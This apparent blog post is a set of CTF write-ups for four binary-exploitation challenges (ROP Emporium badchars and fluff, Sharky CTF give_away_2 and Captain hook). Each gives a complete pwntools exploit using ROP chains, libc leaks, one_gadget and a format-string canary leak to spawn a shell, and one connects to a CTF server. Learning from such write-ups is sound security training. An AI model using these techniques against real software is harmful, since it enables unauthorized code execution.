Pwn Day 3

Soumyadeep Basu
11 min readMay 12, 2020

Chall 1 : ROP Emporium (Bad chars 32 bit)

— — — — — — — — — — — — — — — — — — — — — — — —

Chall file: here

checksec

In addition to the functions present in write4 we see two new functions nstrlen and checkBadChars.

0x080486b6  pwnme
0x080487a9 usefulFunction
0x080487c2 nstrlen
0x08048801 checkBadchars
0x08048890 usefulGadgets

On running the binary we are greeted with:

That means our payload should not contain any of these characters.

['b','i','c','/',' ','f','n','s']
[0x62,0x69,0x63,0x6f,0x20,0x66,0x6e,0x73]

Let’s look at the disassembly of pwnme:

void pwnme(void){
char *__s;
size_t __n;
undefined auStack44 [40];

__s = (char *)malloc(0x200);
if (__s != (char *)0x0) {
memset(__s,0,0x200);
memset(auStack44,0,0x20);
puts("badchars are: b i c / <space> f n s");
printf("> ");
__s = fgets(__s,0x200,stdin); --> vulnerable piece of code
__n = nstrlen(__s,0x200);
checkBadchars(__s,__n);
memcpy(auStack44,__s,__n);
free(__s);
return;
}
/* WARNING: Subroutine does not return */
exit(1);
}

We have a vulnerable fgets call and call to the two other new functions.

void usefulFunction(void){
system("/bin/ls"); --> address = 0x80484e0
return;
}

That system call will definitely of much use in the future.Using gdb pattern create and pattern offset we can find out the RIP offset → 44

Next we need to find out the writable memory section using readelf.

readelf -S badchars32
--> [26] .bss NOBITS 0804a040 001040 00002c 00 WA 0 0 32

So the .bss section is writable since it has WA(writeable and allocatable) flag set so we will write the string ‘/bin/sh’ into the memory address 0x0804a040. Obviously we cannot write ‘/bin//sh’ into the memory address as it is due to the badchar limitation so we will write a xor’ed version of it and xor it while in the memory to /bin//sh using a proper gadget.

Finally we try to get the useful gadgets using ropper with the -b switch to exclude all badchars. Here we will display only the useful gadgets.

ropper --file badchars32 -b 6269632f20666e73
0x08048896: pop ebx; pop ecx; ret;
0x08048899: pop esi; pop edi; ret;
0x08048890: xor byte ptr [ebx], cl; ret;
0x08048893: mov dword ptr [edi], esi; ret;

So I wrote a simple python script so as to find the correct element to xor the string ‘/bin//sh’ so that it does not include any bad char.It returns the correct xoring element as well as the encrypted string let’s test out the write functionality using proper gadgets.

#!/usr/bin/python
from pwn import *
buffer = 'A'*44
sh_str = '/bin//sh'
bss_addr = 0x0804a040
xor = p32(0x08048890) # xor byte ptr [ebx], cl; ret;
mov = p32(0x08048893) # mov dword ptr [edi], esi; ret;
pop_ei = p32(0x08048899) # pop esi; pop edi; ret;
pop_ex = p32(0x08048896) # pop ebx; pop ecx; ret;
encoded = '-`kl--qj'
encoding = 0x2
#Place string into memoryrop = buffer
rop += pop_ei
rop += encoded[:4]
rop += p32(bss_addr)
rop += mov
rop += pop_ei
rop += encoded[4:]
rop += p32(bss_addr+4)
rop += mov
print(rop)

Ahaan a successful write into memory!!

Next let us decode it in memory to do that we will add to the following code a proper xor mechanism:

temp = bss_addr
for i in range(8):
rop += pop_ex # pop ebx; pop ecx; ret;
rop += p32(temp)
rop += p32(0x2)
rop += xor # xor byte ptr [ebx], cl; ret;
temp += 1

So we have decode the string in memory now we finally need to make the system call to get shell

Exploit Idea:

1. Get xor encoded string to write in memory
2. Decode the string in memory using proper gadget
3. Call to system with the decoded string as argument

Exploit code:

#!/usr/bin/python
from pwn import *
buffer = 'A'*44
sh_str = '/bin/sh'
bss_addr = 0x0804a040
xor = p32(0x08048890) # xor byte ptr [ebx], cl; ret;
mov = p32(0x08048893) # mov dword ptr [edi], esi; ret;
pop_ei = p32(0x08048899) # pop esi; pop edi; ret;
pop_ex = p32(0x08048896) # pop ebx; pop ecx; ret;
system_plt = p32(0x80484e0)
encoded = '-`kl--qj'
encoding = 0x2
#Place string into memoryrop = pop_ei
rop += encoded[:4]
rop += p32(bss_addr)
rop += mov
rop += pop_ei
rop += encoded[4:]
rop += p32(bss_addr+4)
rop += mov
temp = bss_addr
for i in range(8):
rop += pop_ex
rop += p32(temp)
rop += p32(0x2)
rop += xor
temp += 1
payload = buffer + rop + system_plt + 'BBBB' + p32(bss_addr)
p = process('./badchars32')
p.recvuntil('\n> ',payload)
p.send(payload)
p.interactive()

And we get shell B0000M !!!

Chall 2: ROP Emporium (Fluff 32 bit)

— — — — — — — — — — — — — — — — — — — — —

File: here

According to the chall description:

The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job done. If we take the time to consider a different       approach we'll succeed.

Seems like we are going to fall short of useful gadgets let’s see…

Okay so this question is exactly the same as the previous one except that the badchar feature is missing and we don’t have a mov [reg], reg type gadget so we will have to combine two or more gadgets to make one.

So let us find interesting gadgets to craft our payload

0x08048693: mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;

Now since the last part is xor byte ptr [ecx], bl; we need to make sure that ebx is 0 and hence the xor keeps the value of ecx unchanged so we need pop gadgets.

0x080485f3: popal; cld; ret;

popal will pop values from the stack and populate the registers in order EDI, ESI, EBP, EBX, EDX, ECX, and EAX

Exploit idea has already been discussed let us go over to the exploit code ;)

Exploit code:

from pwn import *padding = 44 * 'A'
data_addr = 0x0804a040
popal = p32(0x080485f3)
mov_ecx = p32(0x08048693) # mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;
system = p32(0x8048430)
#EDI, ESI, EBP, EBX, EDX, ECX, and EAXdef write_mem(stri,offset):
string = popal
string += p32(0x0)
string += p32(0x0)
string += p32(0x0)
string += p32(0x0)
string += p32(0x0)
string += stri
string += p32(data_addr+offset)
string += p32(0x0)
string += mov_ecx
string += p32(0x0)
string += p32(0x0)
return string
payload = padding#writing
comm = '/bin//sh'
for i in range(0,len(comm),4):
payload += write_mem(comm[i:i+4],i)
payload += system
payload += p32(0x0)
payload += p32(data_addr)
payload += p32(0x0)
p = process('./fluff32')
p.recvuntil('> ')
p.send(payload)
p.interactive()

And we get shell yay!!!

Chall 3: Sharky CTF 2020 (give_away_2)

— — — — — — — — — — — — — — — — — — — — — —

Files: here

protections

If we run the binary we see that it asks for an input. If we give a long stream of characters we get a buffer overflow moreover it leaks (gives away) an address which after source code analysis turns out to be the address of main rendering the PIE protection to be ineffective since

base_address = leaked_main_address - offset_main_within_binary

Disassembly of main:

undefined8 main(void){
init_buffering();
printf("Give away: %p\n",main);
vuln();
return 0;
}

So in order to get a shell on the system we will first try out if one_gadget can spawn a shell for us:

#one_gadget libc-2.27-x64.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Although we have bypassed PIE we don’t have the base address of libc we will have to leak it ourselves.So we will be using the printf function inside the main and we will call printf against libc_start_main to leak the libc address in memory.This will allow us to call vuln once again to deliver second payload.

Exploit idea:

1. < Padding > < pop rdi;ret > < libc_start_main > < printf@main address >  -->  This is lead to vuln() function call again2. < Padding > < one_gadget_address >

Using gdb we find out that the padding will be 40.

Exploit code:

from pwn import *# Payload 1 leaking libc start main addresself = ELF("./give_away_2")
p = remote('sharkyctf.xyz',20035)
p.recvuntil('y: ')
libc = ELF("./libc-2.27.so")#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")main = int(p.recvuntil('\n'),16)base_address = main - elf.symbols['main']printf = base_address + elf.symbols['printf']libc_start_main = base_address + elf.symbols['__libc_start_main']pop_rdi_ret = 0x903 + base_addressret = 0x676 + base_addressoverflow = 'A' * 40rop1 = overflow + p64(pop_rdi_ret) + p64(libc_start_main) + p64(ret) + p64(printf) + p64(ret) + p64(main)p.sendline(rop1)# Get leaked addressrecieved = p.recvline().strip().split('Give')leak = u64(recieved[0].ljust(8, "\x00")) #libc addresslibc_base = leak - libc.sym['__libc_start_main']final_rop = overflow + p64(libc_base+0x4f322)p.sendline(final_rop)p.interactive()

And pop goes the shell ;)

Chall 4: Sharky CTF 2020 (Captain hook)

— — — — — — — — — — — — — — — — — — — — — — —

Files: here

So we have a challenge binary and a libc.so file. Let’s find out the protections on the file:

protections

On running the binary we get something like this:

./captain_hook==Commands========
1 -> List all characters
2 -> Lock up a new character
3 -> Read character infos
4 -> Edit character infos
5 -> Free a character
6 -> Quit
==================
peterpan@pwnuser:~$

Disassembly of lock-up character:

void lock_up_character(void){
long lVar1;
int iVar2;
undefined4 uVar3;
void *pvVar4;
long in_FS_OFFSET;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
printf(" [ Character index ]: ");
iVar2 = read_user_int();
if (((iVar2 < 0) || (3 < iVar2)) || (*(long *)(jail + (long)iVar2 * 8) != 0)) {
puts(" [!] Invalid index.");
}
else {
pvVar4 = malloc(0x44);
if (pvVar4 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
puts(" [ Character ]");
printf(" Name: ");
read_user_str(pvVar4,0x1f);
printf(" Age: ");
uVar3 = read_user_int();
*(undefined4 *)((long)pvVar4 + 0x20) = uVar3;
printf(" Date (mm/dd/yyyy): ");
read_user_str((long)pvVar4 + 0x24,0xb);
*(void **)(jail + (long)iVar2 * 8) = pvVar4;
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

Name → 31 bytes

Age → 4 bytes

Date →11 bytes

And if we go over the disassembly of edit_character:

void edit_character(void){
char *__s1;
int iVar1;
long in_FS_OFFSET;
char local_38 [40];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf(" [ Character index ]: ");
iVar1 = read_user_int();
if (((iVar1 < 0) || (3 < iVar1)) || (*(long *)(jail + (long)iVar1 * 8) == 0)) {
puts(" [!] Invalid index.");
}
else {
__s1 = *(char **)(jail + (long)iVar1 * 8);
puts(" [ Character ]");
printf(" Name: ");
read_user_str(local_38,0x7f); ----> Buffer Overflow
iVar1 = strcmp(__s1,local_38);
if (iVar1 != 0) {
strncpy(__s1,local_38,0x20);
}
printf(" Age: ");
iVar1 = read_user_int();
if (*(int *)(__s1 + 0x20) != iVar1) {
*(int *)(__s1 + 0x20) = iVar1;
}
printf(" Date (mm/dd/yyyy): ");
read(0,local_38,10);
iVar1 = strcmp(__s1 + 0x24,local_38);
if (iVar1 != 0) {
strncpy(__s1 + 0x24,local_38,0x20);
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

We see that in this function name,age and date value will be updated if it is different from the previous one but however 127 bytes are read to name and this causes buffer overflow. But however we cannot overwrite RIP since canary is enabled.

Next let us look at the disassembly of read_character_infos:

void read_character_infos(void){
char *__src;
int iVar1;
long in_FS_OFFSET;
char local_38 [40];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf(" [ Character index ]: ");
iVar1 = read_user_int();
if (((iVar1 < 0) || (3 < iVar1)) || (*(long *)(jail + (long)iVar1 * 8) == 0)) {
puts(" [!] Invalid index.");
}
else {
__src = *(char **)(jail + (long)iVar1 * 8);
strncpy(local_38,__src,0x20);
printf("Character name: %s\n",local_38);
printf("Age: %d\n",(ulong)*(uint *)(__src + 0x20));
strncpy(local_38,__src + 0x24,0x20);
printf("He\'s been locked up on ");
iVar1 = check_date_format(__src + 0x24);
if (iVar1 == 0) {
printf("an invalid date.");
}
else {
printf(__src + 0x24); ---> Format string vulnerability
}
puts(".");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

This function prints out the name,age and date. And if the date is in proper format we get a format string vulnerability to exploit.So we will try to leak out the canary using the format string bug and the decompiled code reveals that the canary is at [ebp-0x8]

After some manual testing we find that the given format string works best in our case to leak out the canary

gdb-peda$ c
Continuing.
[ Character index ]: 0
Character name: 0%15$p%16$p%17$p
Age: 12
He's been locked up on 11/12/2019p0x238e113b8d38f500. --> canary
peterpan@pwnuser:~$
Canary leak

After the canary leak we will next leak another libc address in memory we see that just two blocks down the canary we have call to <libc_main+235> so we again exploit the string format vulnerability to find out it address to get libc_base as:

libc_base = leaked_address - libc['start_main'] - 235

Finally we will try to find a one_gadget to pop shell:

┌─[✗]─[root@kali]─[~/Downloads/captain_hooker]
└──╼ #one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ) --> Wanna use this
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Exploit code:

from pwn import *p = process('./captain_hook')def add(ind):
p.recvuntil('peterpan@pwnuser:~$ ')
p.sendline('2')
p.recvuntil(' [ Character index ]: ')
p.sendline(str(ind))
p.recvuntil(' Name: ')
p.sendline('Basu')
p.recvuntil(' Age: ')
p.sendline('18')
p.recvuntil(' Date (mm/dd/yyyy): ')
p.sendline('02/02/2020')
def edit(ind,fmt):
p.recvuntil('peterpan@pwnuser:~$ ')
p.sendline('4')
p.recvuntil(' [ Character index ]: ')
p.sendline(str(ind))
p.recvuntil(' Name: ')
p.sendline('0'+fmt)
p.recvuntil(' Age: ')
p.sendline('20')
p.recvuntil(' Date (mm/dd/yyyy): ')
p.sendline('04/02/2020')
def read_info(ind):
p.recvuntil('peterpan@pwnuser:~$ ')
p.sendline('3')
p.recvuntil(' [ Character index ]: ')
p.sendline(str(ind))
add(0)
edit(0,'%15$p%16$p%17$p')
read_info(0)
p.readuntil('He\'s been locked up on 04/02/2020p')
gdb.attach(p)
canary = p.readuntil('.')[:-1]
print('canary ' + str(canary))
edit(0,'%17$p.%18$p.%19$p')
read_info(0)
p.readuntil('He\'s been locked up on 04/02/2020$p.')
start_main = p.readuntil('.')[:-1]
print('libc_start_main+235: ' + str(start_main))
libc_base = int(start_main,16) - (235 + 0x21ab0)one_gadget = 0x4f322 + libc_basepadding = 'A' * 30edit(0,'A'*30+p64(int(canary,16))+p64(0)+p64(one_gadget)+p64(0)*8)p.interactive()

And we spawn shell without disturbing the stack canary!!

--

--

Soumyadeep Basu

CTF 🚩 ● Hack the Box ● CyberSec Enthusiast ● Snooker Addict